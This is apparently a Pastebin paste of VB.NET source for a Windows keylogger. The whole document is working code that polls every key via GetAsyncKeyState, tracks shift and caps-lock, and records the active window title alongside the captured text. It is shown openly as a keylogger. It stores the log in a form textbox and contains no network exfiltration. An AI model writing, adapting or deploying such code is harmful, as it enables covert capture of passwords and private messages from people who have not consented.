Advertisement
FlyFar

FrmMain.vb

Dec 29th, 2023
835
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 12.47 KB | Cybersecurity | 0 0
  1. Public Class FrmMain
  2.  
  3. #Region "Declare"
  4.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int32
  5.     Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Int32) As Int32
  6.     Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  7.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  8.     Dim LastStr As String, i As Object, KeyPressed As Object
  9.     Dim charCount As Short, lineLimit As Short = 69, addkey As Object
  10. #End Region
  11.  
  12. #Region "EntryPoint"
  13.     Sub New()
  14.         InitializeComponent()
  15.         SetTimer()
  16.         StartTimer()
  17.     End Sub
  18. #End Region
  19.  
  20. #Region "SetTimer"
  21.     Private Sub SetTimer()
  22.         kClock.Interval = 6
  23.         tClock.Interval = 60
  24.     End Sub
  25. #End Region
  26.  
  27. #Region "StartTimer"
  28.     Private Sub StartTimer()
  29.         kClock.Start()
  30.         tClock.Start()
  31.     End Sub
  32. #End Region
  33.  
  34. #Region "Function"
  35.     Public Function getCapslock() As Boolean
  36.         getCapslock = CBool(GetKeyState(Keys.Capital) And 1)
  37.     End Function
  38.     Public Function getShift() As Boolean
  39.         getShift = CBool(GetAsyncKeyState(Keys.ShiftKey))
  40.     End Function
  41.     Private Function GetActiveWindowTitle() As String
  42.         On Error Resume Next
  43.         Dim Str As String
  44.         Str = New String(Chr(0), 100)
  45.         GetWindowText(GetForegroundWindow, Str, 100)
  46.         Str = Str.Substring(0, InStr(Str, Chr(0)) - 1)
  47.         Return Str
  48.     End Function
  49. #End Region
  50.  
  51. #Region "Keylogger"
  52.     Private Sub kClock_Tick(sender As Object, e As EventArgs) Handles kClock.Tick
  53.         On Error Resume Next
  54.         KeyPressed = GetAsyncKeyState(13)
  55.         If KeyPressed = -32767 Then
  56.             charCount = 0
  57.             addkey = vbCrLf
  58.             GoTo KeyFound
  59.         End If
  60.  
  61.         KeyPressed = GetAsyncKeyState(8)
  62.         If KeyPressed = -32767 Then
  63.             addkey = "<BackSpace>"
  64.             charCount += 4
  65.             GoTo KeyFound
  66.         End If
  67.  
  68.  
  69.         KeyPressed = GetAsyncKeyState(32)
  70.         If KeyPressed = -32767 Then
  71.             addkey = " "
  72.             GoTo KeyFound
  73.             charCount += 1
  74.         End If
  75.  
  76.         KeyPressed = GetAsyncKeyState(186)
  77.         If KeyPressed = -32767 Then
  78.             If getShift() = False Then
  79.                 addkey = ";"
  80.             Else
  81.                 addkey = ":"
  82.             End If
  83.             GoTo KeyFound
  84.             charCount += 1
  85.         End If
  86.  
  87.         KeyPressed = GetAsyncKeyState(187)
  88.         If KeyPressed = -32767 Then
  89.             If getShift() = False Then
  90.                 addkey = "="
  91.             Else
  92.                 addkey = "+"
  93.             End If
  94.             GoTo KeyFound
  95.             charCount += 1
  96.         End If
  97.  
  98.  
  99.         KeyPressed = GetAsyncKeyState(188)
  100.         If KeyPressed = -32767 Then
  101.             If getShift() = False Then
  102.                 addkey = ","
  103.             Else
  104.                 addkey = "<"
  105.             End If
  106.             GoTo KeyFound
  107.             charCount += 1
  108.         End If
  109.  
  110.  
  111.         KeyPressed = GetAsyncKeyState(189)
  112.         If KeyPressed = -32767 Then
  113.             If getShift() = False Then
  114.                 addkey = "-"
  115.             Else
  116.                 addkey = "_"
  117.             End If
  118.             GoTo KeyFound
  119.             charCount += 1
  120.         End If
  121.  
  122.  
  123.         KeyPressed = GetAsyncKeyState(190)
  124.         If KeyPressed = -32767 Then
  125.             If getShift() = False Then
  126.                 addkey = "."
  127.             Else
  128.                 addkey = ">"
  129.             End If
  130.             GoTo KeyFound
  131.             charCount += 1
  132.         End If
  133.  
  134.  
  135.         KeyPressed = GetAsyncKeyState(191)
  136.         If KeyPressed = -32767 Then
  137.             If getShift() = False Then
  138.                 addkey = "/"
  139.             Else
  140.                 addkey = "?"
  141.             End If
  142.             GoTo KeyFound
  143.             charCount += 1
  144.         End If
  145.  
  146.  
  147.         KeyPressed = GetAsyncKeyState(192)
  148.         If KeyPressed = -32767 Then
  149.             If getShift() = False Then
  150.                 addkey = "`"
  151.             Else
  152.                 addkey = "~"
  153.             End If
  154.             GoTo KeyFound
  155.             charCount += 1
  156.         End If
  157.  
  158.         KeyPressed = GetAsyncKeyState(96)
  159.         If KeyPressed = -32767 Then
  160.             If getShift() = False Then
  161.                 addkey = "0"
  162.             Else
  163.                 addkey = ")"
  164.             End If
  165.             GoTo KeyFound
  166.             charCount += 1
  167.         End If
  168.  
  169.  
  170.         KeyPressed = GetAsyncKeyState(97)
  171.         If KeyPressed = -32767 Then
  172.             If getShift() = False Then
  173.                 addkey = "1"
  174.             Else
  175.                 addkey = "!"
  176.             End If
  177.             GoTo KeyFound
  178.             charCount += 1
  179.         End If
  180.  
  181.  
  182.         KeyPressed = GetAsyncKeyState(98)
  183.         If KeyPressed = -32767 Then
  184.             If getShift() = False Then
  185.                 addkey = "2"
  186.             Else
  187.                 addkey = "@"
  188.             End If
  189.             GoTo KeyFound
  190.             charCount += 1
  191.         End If
  192.  
  193.  
  194.         KeyPressed = GetAsyncKeyState(99)
  195.         If KeyPressed = -32767 Then
  196.             If getShift() = False Then
  197.                 addkey = "3"
  198.             Else
  199.                 addkey = "#"
  200.             End If
  201.             GoTo KeyFound
  202.             charCount += 1
  203.         End If
  204.  
  205.  
  206.         KeyPressed = GetAsyncKeyState(100)
  207.         If KeyPressed = -32767 Then
  208.             If getShift() = False Then
  209.                 addkey = "4"
  210.             Else
  211.                 addkey = "$"
  212.             End If
  213.             GoTo KeyFound
  214.             charCount += 1
  215.         End If
  216.  
  217.  
  218.         KeyPressed = GetAsyncKeyState(101)
  219.         If KeyPressed = -32767 Then
  220.             If getShift() = False Then
  221.                 addkey = "5"
  222.             Else
  223.                 addkey = "%"
  224.             End If
  225.             GoTo KeyFound
  226.             charCount += 1
  227.         End If
  228.  
  229.  
  230.         KeyPressed = GetAsyncKeyState(102)
  231.         If KeyPressed = -32767 Then
  232.             If getShift() = False Then
  233.                 addkey = "6"
  234.             Else
  235.                 addkey = "7"
  236.             End If
  237.             GoTo KeyFound
  238.             charCount += 1
  239.         End If
  240.  
  241.         KeyPressed = GetAsyncKeyState(103)
  242.         If KeyPressed = -32767 Then
  243.             If getShift() = False Then
  244.                 addkey = "7"
  245.             Else
  246.                 addkey = "&"
  247.             End If
  248.             GoTo KeyFound
  249.             charCount += 1
  250.         End If
  251.  
  252.         KeyPressed = GetAsyncKeyState(104)
  253.         If KeyPressed = -32767 Then
  254.             If getShift() = False Then
  255.                 addkey = "8"
  256.             Else
  257.                 addkey = "*"
  258.             End If
  259.             GoTo KeyFound
  260.             charCount += 1
  261.         End If
  262.  
  263.  
  264.         KeyPressed = GetAsyncKeyState(105)
  265.         If KeyPressed = -32767 Then
  266.             If getShift() = False Then
  267.                 addkey = "9"
  268.             Else
  269.                 addkey = "("
  270.             End If
  271.             GoTo KeyFound
  272.             charCount += 1
  273.         End If
  274.  
  275.  
  276.         KeyPressed = GetAsyncKeyState(106)
  277.         If KeyPressed = -32767 Then
  278.             If getShift() = False Then
  279.                 addkey = "*"
  280.                 charCount += 1
  281.             Else
  282.                 addkey = ""
  283.             End If
  284.             GoTo KeyFound
  285.         End If
  286.  
  287.         KeyPressed = GetAsyncKeyState(107)
  288.         If KeyPressed = -32767 Then
  289.             If getShift() = False Then
  290.                 addkey = "+"
  291.             Else
  292.                 addkey = "="
  293.             End If
  294.             GoTo KeyFound
  295.             charCount += 1
  296.         End If
  297.  
  298.         KeyPressed = GetAsyncKeyState(108)
  299.         If KeyPressed = -32767 Then
  300.             addkey = ""
  301.             GoTo KeyFound
  302.         End If
  303.  
  304.         KeyPressed = GetAsyncKeyState(109)
  305.         If KeyPressed = -32767 Then
  306.             If getShift() = False Then
  307.                 addkey = "-"
  308.             Else
  309.                 addkey = "_"
  310.             End If
  311.             GoTo KeyFound
  312.             charCount += 1
  313.         End If
  314.  
  315.         KeyPressed = GetAsyncKeyState(110)
  316.         If KeyPressed = -32767 Then
  317.             If getShift() = False Then
  318.                 addkey = "."
  319.             Else
  320.                 addkey = ">"
  321.             End If
  322.             GoTo KeyFound
  323.             charCount += 1
  324.         End If
  325.  
  326.         KeyPressed = GetAsyncKeyState(111)
  327.         If KeyPressed = -32767 Then
  328.             addkey = "/"
  329.             GoTo KeyFound
  330.             charCount += 1
  331.         End If
  332.  
  333.         KeyPressed = GetAsyncKeyState(2)
  334.         If KeyPressed = -32767 Then
  335.             If getShift() = False Then
  336.                 addkey = "/"
  337.             Else
  338.                 addkey = "?"
  339.             End If
  340.             GoTo KeyFound
  341.             charCount += 1
  342.         End If
  343.  
  344.         KeyPressed = GetAsyncKeyState(220)
  345.         If KeyPressed = -32767 Then
  346.             If getShift() = False Then
  347.                 addkey = "\"
  348.             Else
  349.                 addkey = "|"
  350.             End If
  351.             GoTo KeyFound
  352.             charCount += 1
  353.         End If
  354.  
  355.         KeyPressed = GetAsyncKeyState(222)
  356.         If KeyPressed = -32767 Then
  357.             If getShift() = False Then
  358.                 addkey = "'"
  359.             Else
  360.                 addkey = Chr(34)
  361.             End If
  362.             GoTo KeyFound
  363.             charCount += 1
  364.         End If
  365.  
  366.         KeyPressed = GetAsyncKeyState(221)
  367.         If KeyPressed = -32767 Then
  368.             If getShift() = False Then
  369.                 addkey = "]"
  370.             Else
  371.                 addkey = "}"
  372.             End If
  373.             GoTo KeyFound
  374.             charCount += 1
  375.         End If
  376.  
  377.         KeyPressed = GetAsyncKeyState(219)
  378.         If KeyPressed = -32767 Then
  379.             If getShift() = False Then
  380.                 addkey = "["
  381.             Else
  382.                 addkey = "{"
  383.             End If
  384.             GoTo KeyFound
  385.             charCount += 1
  386.         End If
  387.  
  388.  
  389.         For i = 65 To 128
  390.             KeyPressed = GetAsyncKeyState(i)
  391.             If KeyPressed = -32767 Then
  392.                 If getShift() = False Then
  393.                     If getCapslock() = True Then
  394.                         addkey = UCase(Chr(i))
  395.                     Else
  396.                         addkey = LCase(Chr(i))
  397.                     End If
  398.                 Else
  399.                     If getCapslock() = False Then
  400.                         addkey = UCase(Chr(i))
  401.                     Else
  402.                         addkey = LCase(Chr(i))
  403.                     End If
  404.                 End If
  405.                 GoTo KeyFound
  406.                 charCount += 1
  407.             End If
  408.         Next i
  409.  
  410.         For i = 48 To 57
  411.             KeyPressed = GetAsyncKeyState(i)
  412.             If KeyPressed = -32767 Then
  413.                 If getShift() = True Then
  414.                     Select Case Val(Chr(i))
  415.                         Case 1
  416.                             addkey = "!"
  417.                         Case 2
  418.                             addkey = "@"
  419.                         Case 3
  420.                             addkey = "#"
  421.                         Case 4
  422.                             addkey = "$"
  423.                         Case 5
  424.                             addkey = "%"
  425.                         Case 6
  426.                             addkey = "^"
  427.                         Case 7
  428.                             addkey = "&"
  429.                         Case 8
  430.                             addkey = "*"
  431.                         Case 9
  432.                             addkey = "("
  433.                         Case 0
  434.                             addkey = ")"
  435.                     End Select
  436.                 Else
  437.                     addkey = Chr(i)
  438.                 End If
  439.                 GoTo KeyFound
  440.                 charCount += 1
  441.             End If
  442.         Next i
  443.  
  444.         Application.DoEvents()
  445.         Exit Sub
  446.  
  447.  
  448. KeyFound:
  449.         If charCount > lineLimit Then
  450.             charCount = 0
  451.             TextBox.AppendText(vbCrLf)
  452.         End If
  453.         If addkey <> "" Then TextBox.AppendText(addkey)
  454.         Application.DoEvents()
  455.  
  456.     End Sub
  457.  
  458.     Private Sub tClock_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tClock.Tick
  459.         On Error Resume Next
  460.         If LastStr <> GetActiveWindowTitle() Then
  461.             TextBox.AppendText(vbNewLine & " [ --" & GetActiveWindowTitle() & "--]" & vbNewLine)
  462.             LastStr = GetActiveWindowTitle()
  463.         End If
  464.     End Sub
  465. #End Region
  466.  
  467. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement